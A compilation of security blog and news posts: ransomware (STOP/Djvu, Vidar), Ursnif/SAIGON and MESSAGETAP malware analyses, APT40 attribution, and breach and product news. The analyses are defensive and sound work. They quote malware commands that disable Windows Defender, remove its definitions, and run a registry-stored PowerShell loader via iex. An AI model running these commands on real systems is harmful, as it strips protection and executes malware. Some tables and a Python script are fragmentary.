In the first scenario, payload tries to establish a connection with CnC by sending a request for server-generated public key and ID using the associated MD5 hash of the system’s MAC address. The response is saved in bowsakkdestx.txt. For encryption, this key is used in the future.
In the latter type of encryption, if STOP ransomware is not able to get a response from the CnC, it checks for the existence of bowsakkdestx.txt at ‘%AppData%/Local’ directory. If the file found, it checks for the ‘Public Key’ keyword in the file. If the file does not contain a public key, payload deletes the file and again checks for the CnC response. On the other hand, if the file is not present then it uses public key and ID which are already present in the file. Most of the strings in the payload are present in encrypted form i.e. XORed with byte key 0x80. The recent payloads of stop have an offline ID which is appended by its extension name and “t1”.
ex: Z4aT0c1B4eHWZwaTg43eRzyM1gl3ZaaNVHrecot1
Few file types and directories are skipped from the encryption process based on path and file extensions.
Extensions excluded:
.sys .ini .dll .blf .bat .lnk .regtrans-ms
Along with above extensions, the extension used by payload to indicate encryption is also avoided.
Folders in Windows directory and browser folders in the Program Files directory are excluded from encryption.
Before encryption, it also checks for file encryption marker i.e. “{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}”which is at the end of the file followed by encryption ID.
While encrypting a file, it keeps the first 5 bytes of the file as it is. The rest of the file data is encrypted with the Salsa20 algorithm. For the file data encryption, UUID is created and is used as a key for the Salsa20 algorithm. In this way, each file uses a new UUID and the unique key is used for encryption of each file. Given below is an example of one Salsa20 key.
Fig. 6: Salsa20 Key
After encryption of file data, the UUID used as Salsa20 key is also encrypted with the RSA-2048 public key which was received from the CnC server. In the case of offline encryption, this key is retrieved from the payload itself. The encrypted UUID is appended after encrypted file data. The personal ID which was again received from the server with RSA-2048 public key is appended to encrypted UUID. If files are encrypted offline, then this personal ID is also retrieved from file and is common for all offline infected victims. At the end of the file, encryption marker ‘{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}’is written.
Fig. 7: File Encryption Structure
Lateral Activity:
1. Vidar (5.exe)
Vidar is a known info-stealer trojan, which collects sensitive information from your system and then delivers it to its CnC. The information it may steal includes:
Browser Login Data, History, Cookies
Browser Cache
System Information
Messaging/Email software data
Two-factor authentication software data
It checks for the presence of various browsers and software including two-factor authentication tools.
Fig. 8: Vidar File Access
It stores stolen data in a randomly named folder in the ProgramData directory. In this directory, few ‘.zip’ files are created which contain files like information.txt which has details of user and machine, running processes and software installed in the system. The retrieved passwords/credentials from browsers and other software are stored in passwords.txt. The rest of the information is stored in directories/files with respective software names.
Fig. 9: Vidar File Write
There is one file additional named ID which contains data in the form of SQL database having tables like logins, meta, stats, sync_entities_metadata and sync_model_metadata. These tables mainly have browser-related data of the user. All of these data are then sent to CnC of Vidar which is ‘hxxp://crarepo[.]com/’ in this case. Changes in the CnC servers are observed over the period.
Fig. 10: Vidar HttpSendRequestA
2. Updatewin1.exe:
This component is mainly used to hide ransomware’s existence or evade detection based on the behavior of malware. It shows similarity with the Vilsel Trojan family.
First of all, it executes itself with elevated privileges. This process with elevated privileges executes PowerShell with the following command line, to change execution policy from default restricted to RemoteSigned, which results in the execution of local policies without any digital signature.
The updatewin1.exe then drops script.ps1 having command ‘Set-MpPreference -DisableRealtimeMonitoring $true’ at %temp% location. A new PowerShell instance is initiated with parameters:
This runs PowerShell with admin privileges and bypasses all execution policies for the current instance of PowerShell. This executes script.ps1 resulting in disabling of Windows Realtime Protection. It also removes downloaded updates/signatures of windows defender using the command:
mpcmdrun.exe -removedefinitions -all
The task manager is also disabled by changing the registry and then updatewin1.exe deletes itself using a batch file.
3. Updatewin.exe:
This component has no suspicious or malicious activity. It just displays windows update prompt so that any of the suspicious activities will be considered as windows update changes. There is no minimize or close option to this window, one has to kill the process to get rid of it.
Fig. 12: Fake Update Window
Ransom note:
Fig. 13: _readme.txt Ransom note
Over the campaign, the STOP ransom note has remained the same with few small changes. It asks for $980 of ransom and gives a 50% discount if payment is done within 3 days. The conversation with victims is carried over the mail. Ransom note contains the Personal Id of the user which is also stored in C:\SystemID\PersonalID.txt.
Statistics:
Fig. 14: Statistics
From the introduction of the new RSA 2048 variant, we have seen a noticeable increase in infections. As the chart above states, there was a gradual increase from August till November with hits crossing 120,000 mark. However, there’s been a decrease in hits in December, which seems to have continued in the month of January.
Conclusion:
From the start of the STOP-djvu campaign, stop authors have focused on changing payloads and extensions within short intervals, making their presence among ransomware strong and sound. Initially, authors believed in symmetric cryptography, hoping for ransom from most of the cases with newer payloads and unique keys for each variant. The free decryptors for offline infections forced them to shift to asymmetric cryptography, which made the decryption of new infections harder. Also, propagating through multiple crack software, activators, keygen software and fake software/OS upgrades, has been an effective way of spreading for this ransomware.
US agency revealed flaw that could be exploited by hackers to create malicious software
Microsoft is rolling out a security fix to Windows 10 after the US National Security Agency (NSA) warned the popular operating system contained a highly dangerous flaw that could be used by hackers. Reporting the vulnerability represents a departure for the NSA from its past strategy of keeping security flaws under wraps to exploit for its own intelligence needs.
The NSA revealed during a press conference on Tuesday that the “serious vulnerability” could be used to create malicious software that appeared to be legitimate. The flaw “makes trust vulnerable”, the NSA director of cybersecurity, Anne Neuberger, said in a briefing call to media on Tuesday.
A group of anonymous security researchers that calls itself Intrusion Truth have tracked the activity of a China-linked cyber–espionage group dubbed APT40.
A group of anonymous security researchers that calls itself Intrusion Truth has discovered that a China-linked cyberespionage group, tracked as APT40, uses 13 front companies operating in the island of Hainan to recruit hackers.
The Intrusion Truth group has doxed the fourth Chinese state-sponsored hacking operation.
“We know that multiple areas of China each have their own APT.” reads the report.
“After a long investigation we now know that it is possible to take a province and identify front companies, from those companies identify individuals who work there, and then connect these companies and individuals to an APT and the State.”
The Intrusion Truth group has already other APT groups operating in other provinces of the country, including APT3 (from the Guangdong province), APT10 (from Tianjin province), and APT17 (Jinan province). The last group tracked by the researcher is now operating out of the Hainan province, an island in the South China Sea.
Intrusion Truth did not associate the group from Hainan with a specific Chinese APT group, but FireEye and Kaspersky researchers believe that the China-linked group is the APT40 (aka TEMP.Periscope, TEMP.Jumper, and Leviathan).
The cyber-espionage group tracked as APT40 (aka TEMP.Periscope, TEMP.Jumper, and Leviathan), apparently linked to the Chinese government, is focused on targeting countries important to the country’s Belt and Road Initiative (i.e. Cambodia, Belgium, Germany, Hong Kong, Philippines, Malaysia, Norway, Saudi Arabia, Switzerland, the United States, and the United Kingdom).
Experts believe that APT40 is a state-sponsored Chinese APT group due to its alignment with Chinese state interests and technical artifacts suggesting the actor is based in China.
The APT40 group has been active since at least 2013 and appears to be focused on supporting naval modernization efforts of the Government of Beijing. Threat actors target engineering, transportation, and defense sectors, experts observed a specific interest in maritime technologies.
The cyberspies also targeted research centres and universities involved in naval research with the intent to access advanced technology to push the growth of the Chinese naval industry.
The list of victims of the APT40 group also includes organizations with operations in Southeast Asia or involved in South China Sea disputes.
The 13 companies identified by the Intrusion Truth have similar characteristics, like the lack of an online presence, and experts noticed overlapping of contact details and share office locations. The companies were all involved in the recruiting of hackers with offensive security skills.
“Looking beyond the linked contact details though, some of the skills that these adverts are seeking are on the aggressive end of the spectrum,” reads the post published by Intrusion Truth.
“While the companies stress that they are committed to information security and cyber-defence, the technical job adverts that they have placed seek skills that would more likely be suitable for red teaming and conducting cyber-attacks,” they go on to say.
According to the experts, a professor in the Information Security Department at the Hainan University was tasked with recruiting for the 13 companies.
One of the above companies was headquartered in the University’s library, and the professor was also a former member of China’s military.
“Following further analysis, we noticed a close association between these Hainan front companies and the academic world. Multiple job adverts for the companies are posted on university websites. Hainan Xiandun even appears to operate from the Hainan University Library!” continues the post. “Gu Jian, a Professor in the Information Security Department and former member of the PLA is now the contact person for an APT front company which itself is linked to twelve other front companies.”
Technical details of the analysis are included in the report published by the experts.
Over the last few days hackers have made multiple attempts to exploit a critical vulnerability found in Citrix technology, used by tens of thousands of businesses worldwide.
Take action to protect your systems now before the exploit hits you in the face.
Today, Talos is publishing a glimpse into the most prevalent threats we’ve observed between Jan 3 and Jan 10. As with previous roundups, this post isn’t meant to be an in-depth analysis. Instead, this post will summarize the threats we’ve observed by highlighting key behavioral characteristics, indicators of compromise, and discussing how our customers are automatically protected from these threats.
As a reminder, the information provided for the following threats in this post is non-exhaustive and current as of the date of publication. Additionally, please keep in mind that IOC searching is only one part of threat hunting. Spotting a single IOC does not necessarily indicate maliciousness. Detection and coverage for the following threats is subject to updates, pending additional threat or vulnerability analysis. For the most current information, please refer to your Firepower Management Center, Snort.org, or ClamAV.net.
TRU01102020 – This is a JSON file that includes the IOCs referenced in this post, as well as all hashes associated with the cluster. The list is limited to 25 hashes in this blog post. As always, please remember that all IOCs contained in this document are indicators, and that one single IOC does not indicate maliciousness. See the Read More link above for more details.
The UK Information Commissioner’s Office (ICO) fined DSG Retail Limited £500,000 following a malware attack that affected millions of the retailer’s customers. As the result of an investigation, the ICO learned that the DSG Retail Limited had suffered a security incident in which an attacker installed malware on 5,390 tills at Currys PC World and […]… Read More
Ursnif (aka Gozi/Gozi-ISFB) is one of the oldest banking malware
families still in active distribution. While the first major version
of Ursnif was identified in 2006, several subsequent versions have
been released in large part due source code leaks. FireEye reported on
a previously unidentified variant of the Ursnif malware family to our
threat
intelligence subscribers in September 2019 after identification
of a server that hosted a collection of tools, which included multiple
point-of-sale malware families. This malware self-identified as
"SaiGon version 3.50 rev 132," and our analysis suggests it
is likely based on the source code of the v3 (RM3) variant of Ursnif.
Notably, rather than being a full-fledged banking malware, SAIGON's
capabilities suggest it is a more generic backdoor, perhaps tailored
for use in targeted cybercrime operations.
Technical Analysis
Behavior
SAIGON appears on an infected computer as a Base64-encoded shellcode
blob stored in a registry key, which is launched using PowerShell via
a scheduled task. As with other Ursnif variants, the main component of
the malware is a DLL file. This DLL has a single exported function,
DllRegisterServer, which is an unused empty function. All the
relevant functionality of the malware executes when the DLL is loaded
and initialized via its entry point.
Upon initial execution, the malware generates a machine ID using the
creation timestamp of either %SystemDrive%\pagefile.sys or
%SystemDrive%\hiberfil.sys (whichever is identified first).
Interestingly, the system drive is queried in a somewhat uncommon way,
directly from the KUSER_SHARED_DATA structure (via
SharedUserData→NtSystemRoot). KUSER_SHARED_DATA is a
structure located in a special part of kernel memory that is mapped
into the memory space of all user-mode processes (thus shared), and
always located at a fixed memory address (0x7ffe0000, pointed
to by the SharedUserData symbol).
The code then looks for the current shell process by using a call to
GetWindowThreadProcessId(GetShellWindow(), …). The code also
features a special check; if the checksum calculated from the name of
the shell's parent process matches the checksum of explorer.exe
(0xc3c07cf0), it will attempt to inject into the parent process instead.
SAIGON then injects into this process using the classic
VirtualAllocEx / WriteProcessMemory / CreateRemoteThread
combination of functions. Once this process is injected, it loads two
embedded files from within its binary:
A PUBLIC.KEY file, which is used to verify and decrypt
other embedded files and data coming from the malware's command and
control (C2) server
A RUN.PS1 file, which is a
PowerShell loader script template that contains a
"@SOURCE@" placeholder within the script:
The malware replaces the "@SOURCE@" placeholder
from this PowerShell script template with a Base64-encoded version of
itself, and writes the PowerShell script to a registry value named
"PsRun" under the
"HKEY_CURRENT_USER\Identities\{<random_guid>}"
registry key (Figure 1).
Figure 1: PowerShell script written to PsRun
The instance of SAIGON then creates a new scheduled task (Figure 2)
with the name "Power<random_word>" (e.g.
PowerSgs). If this is unsuccessful for any reason, it falls
back to using the
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
registry key to enable itself to maintain persistence through system reboot.
Figure 2: Scheduled task
Regardless of the persistence mechanism used, the command that
executes the binary from the registry is similar to the following:
After removing the Base64 encoding from this command, it looks
something like "iex (gp
'HKCU:\\Identities\\{43B95E5B-D218-0AB8-5D7F-2C789C59B1DF}').PsRun." When executed, this command retrieves the contents of the
previous registry value using Get-ItemProperty (gp) and
executes it using Invoke-Expression (iex).
Finally, the PowerShell code in the registry allocates a block of
memory, copies the Base64-decoded shellcode blob into it, launches a
new thread pointing to the area using CreateRemoteThread, and
waits for the thread to complete. The following script is a
deobfuscated and beautified version of the PowerShell.
Once it has established a foothold on the machine, SAIGON loads and
parses its embedded LOADER.INI configuration (see the
Configuration section for details) and starts its main worker thread,
which continuously polls the C2 server for commands.
Configuration
The Ursnif source code incorporated a concept referred to as
"joined data," which is a set of compressed/encrypted files
bundled with the executable file. Early variants relied on a special
structure after the PE header and marked with specific magic bytes
("JF," "FJ," "J1,"
"JJ," depending on the Ursnif version). In Ursnif v3
(Figure 3), this data is no longer simply after the PE header but
pointed to by the Security Directory in the PE header, and the magic
bytes have also been changed to "WD" (0x4457).
Figure 3: Ursnif v3 joined data
This structure defines the various properties (offset, size, and
type) of the bundled files. This is the same exact method used by
SAIGON for storing its three embedded files:
PUBLIC.KEY - RSA public key
RUN.PS1 - PowerShell script template
LOADER.INI - Malware configuration
The following is a list of configuration options observed:
Name Checksum
Name
Description
0x97ccd204
HostsList
List of C2 URLs
used for communication
0xd82bcb60
ServerKey
Serpent key used
for communicating with the C2
0x23a02904
Group
Botnet ID
0x776c71c0
IdlePeriod
Number of
seconds to wait before the initial request to the C2
0x22aa2818
MinimumUptime
Waits until
the uptime is greater than this value (in seconds)
0x5beb543e
LoadPeriod
Number of
seconds to wait between subsequent requests to the C2
0x84485ef2
HostKeepTime
The number of
minutes to wait before switching to the next C2 server in case
of failures
Table 1: Configuration options
Communication
While the network communication structure of SAIGON is very similar
to Ursnif v3, there are some subtle differences. SAIGON beacons are
sent to the C2 servers as multipart/form-data encoded requests via
HTTP POST to the "/index.html" URL path. The payload
to be sent is first encrypted using Serpent encryption (in ECB mode vs
CBC mode), then Base64-encoded. Responses from the server are
encrypted with the same Serpent key and signed with the server's RSA
private key.
SAIGON uses the following User-Agent header in its HTTP requests:
"Mozilla/5.0 (Windows NT <os_version>; rv:58.0)
Gecko/20100101 Firefox/58.0," where
<os_version> consists of the operating system's major and
minor version number (e.g. 10.0 on Windows 10, and 6.1 on Windows 7)
and the string "; Win64; x64" is appended when the
operating system is 64-bit. This yields the following example User
Agent strings:
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0)
Gecko/20100101 Firefox/58.0" on Windows 10 64-bit
"Mozilla/5.0 (Windows NT 6.1; rv:58.0) Gecko/20100101
Firefox/58.0" on Windows 7 32-bit
The request format is also somewhat similar to the one used by other
Ursnif variants described in Table 2:
Download data
from URL, decrypt and verify, then use the same shellcode
loader that was used to load itself into memory to load the
DLL into the current process
0xa8e78c43
LOAD_EXE
Download data
from URL, decrypt and verify, save with an .exe
extension, invoke using ShellExecute
Table 3: SAIGON bot commands
Comparison to Ursnif v3
Table 4 shows the similarities between Ursnif v3 and the analyzed
SAIGON samples (differences are highlighted in bold):
Ursnif v3 (RM3)
Saigon (Ursnif v3.5?)
Persistence method
Scheduled task that executes code stored in a
registry key using PowerShell
Scheduled task that executes code stored in a
registry key using PowerShell
Configuration storage
Security PE directory points to embedded binary
data starting with 'WD' magic bytes (aka. Ursnif
"joined files")
Security PE directory points to embedded binary
data starting with 'WD' magic bytes (aka. Ursnif
"joined files")
PRNG algorithm
xorshift64*
xorshift64*
Checksum algorithm
JAMCRC (aka. CRC32 with all the bits flipped)
CRC32, with the result rotated to the right by 1
bit
Data compression
aPLib
aPLib
Encryption/Decryption
Serpent CBC
Serpent ECB
Data integrity verification
RSA signature
RSA
signature
Communication method
HTTP
POST requests
HTTP POST
requests
Payload encoding
Unpadded
Base64 ('+' and '/' are replaced with '_2B' and
'_2F' respectively), random slashes are
added
Unpadded Base64 ('+' and
'/' are replaced with '%2B' and '%2F'
respectively), no random slashes
Uses URL path mimicking?
Yes
No
Uses PX file format?
Yes
No
Table 4: Similarities and differences between
Ursnif v3 and SAIGON samples
Figure 4 shows Ursnif v3's use of URL path mimicking. This tactic
has not been seen in other Ursnif variants, including SAIGON.
Figure 4: Ursnif v3 mimicking (red)
previously seen benign browser traffic (green) not seen in SAIGON samples
Implications
It is currently unclear whether SAIGON is representative of a
broader evolution in the Ursnif malware ecosystem. The low number of
SAIGON samples identified thus far—all of which have compilations
timestamps in 2018—may suggest that SAIGON was a temporary branch of
Ursnif v3 adapted for use in a small number of operations. Notably,
SAIGON’s capabilities also distinguish it from typical banking malware
and may be more suited toward supporting targeted intrusion
operations. This is further supported via our prior identification of
SAIGON on a server that hosted tools used in point-of-sale intrusion
operations as well as VISA’s
recent notification of the malware appearing on a compromised
hospitality organization’s network along with tools previously used by FIN8.
Acknowledgements
The authors would like to thank Kimberly Goody, Jeremy Kennelly and
James Wyke for their support on this blog post.
Appendix A: Samples
The following is a list of samples including their embedded configuration:
"Mozilla/5.0 (Windows NT <os_version>;
rv:58.0) Gecko/20100101 Firefox/58.0"
Other host-based indicators:
"Power<random_string>" scheduled
task
"PsRun" value under the
HKCU\Identities\{<random_guid>} registry key
Appendix C: Shellcode Converter Script
The following Python script is intended to ease analysis of this
malware. This script converts the SAIGON shellcode blob back into its
original DLL form by removing the PE loader and restoring its PE
header. These changes make the analysis of SAIGON shellcode blobs much
simpler (e.g. allow loading of the files in IDA), however, the created
DLLs will still crash when run in a debugger as the malware still
relies on its (now removed) PE loader during the process injection
stage of its execution. After this conversion process, the sample is
relatively easy to analyze due to its small size and because it is not obfuscated.
#!/usr/bin/env python3
import argparse import struct from datetime import
datetime
def
main(): parser =
argparse.ArgumentParser(description="Shellcode to PE
converter for the Saigon malware family.")
parser.add_argument("sample") args =
parser.parse_args()
with open(args.sample,
"rb") as f: data =
bytearray(f.read())
if data.startswith(b'MZ'):
lfanew = struct.unpack_from('=I', data, 0x3c)[0]
print('This is already an MZ/PE file.')
return elif not data.startswith(b'\xe9'):
print('Unknown file type.') return
if magic ==
0x20b: # base of data, does not exist in
PE32+ if size_of_code & 0x0fff:
tmp = (size_of_code & 0xfffff000) + 0x1000
else: tmp = size_of_code
base_of_data = base_of_code + tmp
print('Base of
code:', hex(base_of_code)) print('Base of data:',
hex(base_of_data))
A British man has been jailed for two years after police caught him using a notorious Remote Access Trojan (RAT) to hijack the webcams of young women, and spy upon them.
Read more in my article on the Tripwire State of Security blog.
The last few years have given rise to a new & dangerous cyberthreat known as cryptojacking which is unlike typical malware — it does not demand ransom, spy or cripple enterprise systems or cause loss of data. We introduced the subject earlier and are re-iterating on the same with few additional pointers.
Enterprises should take this threat very seriously!
Increase in Cryptojacking attacks
In 2018, an Economic Times report observed that hackers were mining a fortune by running cryptocurrency scripts on Indian government websites, including the director of municipal administration of Andhra Pradesh, Tirupati Municipal Corporation and Macherla municipality. Seqrite’s Threat Report Q2 2019 also detected 19k cryptojacking attacks as against 17K in Q1, 2019 illustrating how this threat is seeing a rapid upsurge.
Since we already shared insights on the functionality of cryptojacking, here is some information on why cryptojacking is getting popular among the hacker community.
Why is Cryptojacking popular?
Less risk! Hackers love Cryptojacking because it is way less risky than planting ransomware in enterprise systems. In businesses worldwide, awareness of ransomware has grown. Hence, stakeholders are applying better and advanced solutions to protect against the same. This is not the same with Cryptojacking as this technique of infecting business machines is new.
While hackers can convince, say 4-5 businesses to pay, out of a 100 that they attack via ransomware, in cryptojacking they can ensure that all 100 machines that they attack work at full capacity to mine for cryptocurrency. This hacking technique is also very simple and does not require high technical skills. Cryptojacking kits can be easily picked up from the dark web for as less as $30.
For enterprises, cryptojacking attacks can lead to server outages and high costs of consumption. To prevent these attacks, they need to take the below-mentioned measures –
Ensure endpoint protection can detect these threats
As a threat which is on the rise, it is important for enterprises to update the endpoint protection solution they are using so they are able to detect and block cryptojacking threats. While like all other cyber threats, where the methods may constantly change, an updated security solution, such as Seqrite’s Endpoint Security, can detect and prevent cryptojacking attacks from happening.
Browser protection is key
Cryptojacking spreads by getting users to click on malicious links on websites which lead to the miner being installed on a system. The way to prevent this from happening is ensuring that browsers in the enterprise have strong protection installed which can prevent these scripts from running.
Use web filtering to block suspicious websites
Along with browser protection, it can be a good idea for enterprises to go one step further and use their web filtering solutions to block websites suspected of malicious activities such as cryptojacking from being accessed.
A strong MDM solution is important
Mobile Device Management (MDM) solutions like the Seqrite mSuite can prevent mobile devices from being infected by cryptojacking software offering cybersecurity for businesses that are also on-the-go.
Seqrite’s Unified Threat Management (UTM) solution offers ease of use and brings key security features such as network security, management, backup and recovery of data and other critical network services together under a single unified umbrella, preventing cryptojacking attacks at the source.
During the last week of December a US
Coast Guard facility was the target of a Ryuk ransomware attack that shut down
operations for over 30 hours. Though the Coast Guard has implemented multiple
cybersecurity regulations in just the last six months or so, this attack broke
through the weakest link in the security chain: human users. Ryuk typically
spreads through an email phishing campaign that relies on the target clicking
on a malicious link before spreading through a network.
Crypto-trading Platform Forces Password Reset After Possible Leak
Officials for Poloniex, a cryptocurrency trading platform, began pushing out forced password resets after a list of email addresses and passwords claiming to be from Poloniex accounts was discovered on Twitter. While the company was able to verify that many of the addresses found on the list weren’t linked to their site at all, they still opted to issue passwords reset for all clients. It’s still unclear where the initial list actually originated, but it was likely generated from a previous data leak and was being used on a new set of websites.
Nearly every one of Wawa’s
850 stores in the U.S. were found to be infected with a payment
card-skimming malware for roughly eight months before the company discovered
it. It appears Wawa only found out about the problem after Visa issued a
warning about card fraud at gas pumps using less-secure magnetic strips. WaWa has
since begun offering credit monitoring to anyone affected. In a statement, they
mention skimming occurring from in-store transactions as well, so card chips
would only be effective if the malware had been at the device level, rather
than the transaction point.
Microsoft Takes Domains from North Korean Hackers
Microsoft recently retook control of 50 domains that were being used by North Korean hackers to launch cyberattacks. Following a successful lawsuit, Microsoft was able to use its extensive tracking data to shut down phishing sites that mainly targeted the U.S., Japan, and South Korea. The tech company is well-known for this tactic, having taken down 84 domains belonging to the Russian hacking group Fancy Bear and seizing almost 100 domains linked to Iranian spies.
Landry’s Suffers Payment Card Breach
One of the largest restaurant chain and property owners, Landry’s,
recently disclosed that many of their locations were potentially affected by a
payment card leak through their point-of-sale systems. The company discovered
that from January through October of 2019, any number of their 600 locations
had been exposed to a card-skimming malware if not processed through a main
payment terminal that supported end-to-end encryption.
Foreign exchange company Travelex announced that it had temporarily disabled all of its systems following a malware attack. Twitter user Izzy Fergus first noticed something was wrong when she attempted to visit travelex.co.uk and saw a runtime error message. When she reached out to the company on Twitter, Travelex UK informed her that it was […]… Read More
Today, Talos is publishing a glimpse into the most prevalent threats we’ve observed between Dec 13 and Dec 20. As with previous roundups, this post isn’t meant to be an in-depth analysis. Instead, this post will summarize the threats we’ve observed by highlighting key behavioral characteristics, indicators of compromise, and discussing how our customers are automatically protected from these threats.
As a reminder, the information provided for the following threats in this post is non-exhaustive and current as of the date of publication. Additionally, please keep in mind that IOC searching is only one part of threat hunting. Spotting a single IOC does not necessarily indicate maliciousness. Detection and coverage for the following threats is subject to updates, pending additional threat or vulnerability analysis. For the most current information, please refer to your Firepower Management Center, Snort.org, or ClamAV.net.
TRU12202019 – This is a JSON file that includes the IOCs referenced in this post, as well as all hashes associated with the cluster. The list is limited to 25 hashes in this blog post. As always, please remember that all IOCs contained in this document are indicators, and that one single IOC does not indicate maliciousness. See the Read More link above for more details.
Network performance is the key indicator of an enterprise’s productivity and health in these connected times. It is the prerequisite of every business enterprise to maintain a smooth network workflow; however, that is easier said than done. Enterprise networks are susceptible to unauthorized activities in the form of targeted intrusions through vulnerabilities and backdoors.
When such vulnerabilities are exploited, unsolicited access to the network occurs which can have a range of unpleasant consequences for businesses. These intrusions can have harmful effects on business health such as high utilization of resources to loss of enterprise data.
Cybersecurity teams deployed by enterprises are required to proactively detect and respond to network intrusions. It is imperative that these teams have a detailed understanding of how network intrusions and other types of attacks occur so that detection and prevention systems can be set up with the same in mind.
This understanding begins with identifying the type of attack vector. Network intrusions happen through a variety of techniques some of which are –
Asymmetric Routing
In this type of method, intrusions happen via various routes to the target device. To avoid detection, the intrusive packets bypass sensors to reach their target.
Taking advantage of vulnerabilities in networks
In many cases, networks are infiltrated through existing software with attackers either taking advantage of vulnerabilities or using stolen credentials. Since most enterprises use operating systems or other software, attacks can use these vectors for infiltration.
Common Gateway Interface (CGI) scripts
Infiltrators can use the Common Gateway Interface (CGI) scripts to secure network files. CGI scripts are used in networks to support connections between servers and clients on the Web but attackers can manipulate scripts without input verification to access files not meant for the Web.
Protocol Specific Attacks
Devices using common network protocols like TCP, ARP, IP, UDP, ICMP etc. can leave backdoors open for intrusions, e.g. man-in-the-middle attacks
Network intrusions can commonly be covered up by their controllers to ensure that enterprises are unable to detect them. Attackers use various techniques such as deleting access logs, encrypting stolen data or installing rootkits to ensure cybersecurity teams are unable to detect their activities.
The most effective way for enterprises to prevent and act against network intrusions is to employ an Intrusion Prevention/Detection System. An Intrusion Detection System (IDS) monitors all incoming and outgoing network activity and identifies any signs of intrusion in systems that could jeopardize the business. An Intrusion Prevention System (IPS) is a step ahead of IDS with its capabilities. The system detects and blocks anomalies on a company’s network. An IPS is an active control mechanism that monitors the network traffic flow. It identifies and averts vulnerability exploits in the form of malicious inputs that intruders use to interrupt and gain control of an application or system
Benefits of Seqrite’s UTM solution
Seqrite’s Unified Threat Management (UTM) offers a one-stop solution for all enterprise security needs which includes intrusion detection and prevention as a standard feature.
UTM’s in-built IDS and IPS components keep enterprises safe by:
Monitoring, evaluating and catching threats in real-time
Preventing Denial of Service (DoS)/Distributed Denial of Service (DDoS) attacks
Preventing the discovery of open ports by attackers
Seqrite UTM’s IPS acts as a security barrier against unwanted intrusions into enterprise networks and forestalls a broad range of DoS and DDoS attacks before they penetrate the network.
FireEye Mandiant recently discovered a new malware family used by
APT41 (a Chinese APT group) that is designed to monitor and save SMS
traffic from specific phone numbers, IMSI numbers and keywords for
subsequent theft. Named MESSAGETAP, the tool was deployed by APT41 in
a telecommunications network provider in support of Chinese espionage
efforts. APT41’s operations have included state-sponsored cyber
espionage missions as well as financially-motivated intrusions. These
operations have spanned from as early as 2012 to the present day. For
an overview of APT41, see our August
2019 blog post or our full published
report. MESSAGETAP was first reported to FireEye
Threat Intelligence subscribers in August 2019 and initially
discussed publicly in an APT41 presentation at FireEye Cyber Defense
Summit 2019.
MESSAGETAP Overview
APT41's newest espionage tool, MESSAGETAP, was discovered during a
2019 investigation at a telecommunications network provider within a
cluster of Linux servers. Specifically, these Linux servers operated
as Short Message Service Center (SMSC) servers. In mobile networks,
SMSCs are responsible for routing Short Message Service (SMS) messages
to an intended recipient or storing them until the recipient has come
online. With this background, let's dig more into the malware itself.
MESSAGETAP is a 64-bit ELF data miner initially loaded by an
installation script. Once installed, the malware checks for the
existence of two files: keyword_parm.txt and parm.txt
and attempts to read the configuration files every 30 seconds. If
either exist, the contents are read and XOR decoded with the string:
Interestingly, this XOR key leads to a URL owned by the
European Telecommunications Standards Institute (ETSI). The
document explains the Short Message Service (SMS) for GSM and
UMTS Networks. It describes architecture as well as requirements
and protocols for SMS.
These two files, keyword_parm.txt and parm.txt contain
instructions for MESSAGETAP to target and save contents of SMS messages.
The first file (parm.txt) is a file containing two
lists:
imsiMap: This list contains International Mobile
Subscriber Identity (IMSI) numbers. IMSI numbers identify
subscribers on a cellular network.
phoneMap: The phoneMap list contains phone
numbers.
The second file
(keyword_parm.txt) is a list of keywords that is read into
keywordVec.
Both files are deleted from disk once the configuration files are
read and loaded into memory. After loading the keyword and phone data
files, MESSAGETAP begins monitoring all network connections to and
from the server. It uses the libpcap library to listen to all traffic
and parses network protocols starting with Ethernet and IP layers. It
continues parsing protocol layers including SCTP, SCCP, and TCAP.
Finally, the malware parses and extracts SMS message data from the
network traffic:
SMS message contents
The IMSI number
The
source and destination phone numbers
The malware searches the SMS message contents for keywords from the
keywordVec list, compares the IMSI number with numbers from the
imsiMap list, and checks the extracted phone numbers with the
numbers in the phoneMap list.
Figure 1: General Overview Diagram of MESSAGETAP
If the SMS message text contains one of the keywordVec
values, the contents are XORed and saved to a path with the following format:
/etc/<redacted>/kw_<year><month><day>.csv
The malware compares the IMSI number and phone numbers with the
values from the imsiMap and phoneMap lists. If found,
the malware XORs the contents and stores the data in a path with the
following format:
/etc/<redacted>/<year><month><day>.csv
If the malware fails to parse a message correctly, it dumps it to
the following location:
/etc/<redacted>/<year><month><day>_<count>.dump
Significance of Input Files
The configuration files provide context into the targets of this
information gathering and monitoring campaign. The data in
keyword_parm.txt contained terms of geopolitical interest to
Chinese intelligence collection. The two lists phoneMap and
imsiMap from parm.txt contained a high volume of phone
numbers and IMSI numbers.
For a quick review, IMSI
numbers are used in both GSM (Global System for Mobiles) and UMTS
(Universal Mobile Telecommunications System) mobile phone networks and
consists of three parts:
Mobile Country Code (MCC)
Mobile Network Code
(MNC)
Mobile Station Identification Number (MSIN)
The Mobile Country Code corresponds to the subscriber’s country, the
Mobile Network Code corresponds to the specific provider and the
Mobile Station Identification Number is uniquely tied to a specific subscriber.
Figure 2: IMSI number description
The inclusion of both phone and IMSI numbers show the highly
targeted nature of this cyber intrusion. If an SMS message contained
either a phone number or an IMSI number that matched the predefined
list, it was saved to a CSV file for later theft by the threat actor.
Similarly, the keyword list contained items of geopolitical interest
for Chinese intelligence collection. Sanitized examples include the
names of political leaders, military and intelligence organizations
and political movements at odds with the Chinese government. If any
SMS messages contained these keywords, MESSAGETAP would save the SMS
message to a CSV file for later theft by the threat actor.
In addition to MESSAGETAP SMS theft, FireEye Mandiant also
identified the threat actor interacting with call detail record (CDR)
databases to query, save and steal records during this same
intrusion. The CDR records corresponded to foreign high-ranking
individuals of interest to the Chinese intelligence services.
Targeting CDR information provides a high-level overview of phone
calls between individuals, including time, duration, and phone
numbers. In contrast, MESSAGETAP captures the contents of specific
text messages.
Looking Ahead
The use of MESSAGETAP and targeting of sensitive text messages and
call detail records at scale is representative of the evolving nature
of Chinese cyber espionage campaigns observed by FireEye. APT41 and
multiple other threat groups attributed to Chinese state-sponsored
actors have increased their targeting of upstream data entities since
2017. These organizations, located multiple layers above end-users,
occupy critical information junctures in which data from multitudes of
sources converge into single or concentrated nodes. Strategic access
into these organizations, such as telecommunication providers, enables
the Chinese intelligence services an ability to obtain sensitive data
at scale for a wide range of priority intelligence requirements.
In 2019, FireEye observed four telecommunication organizations
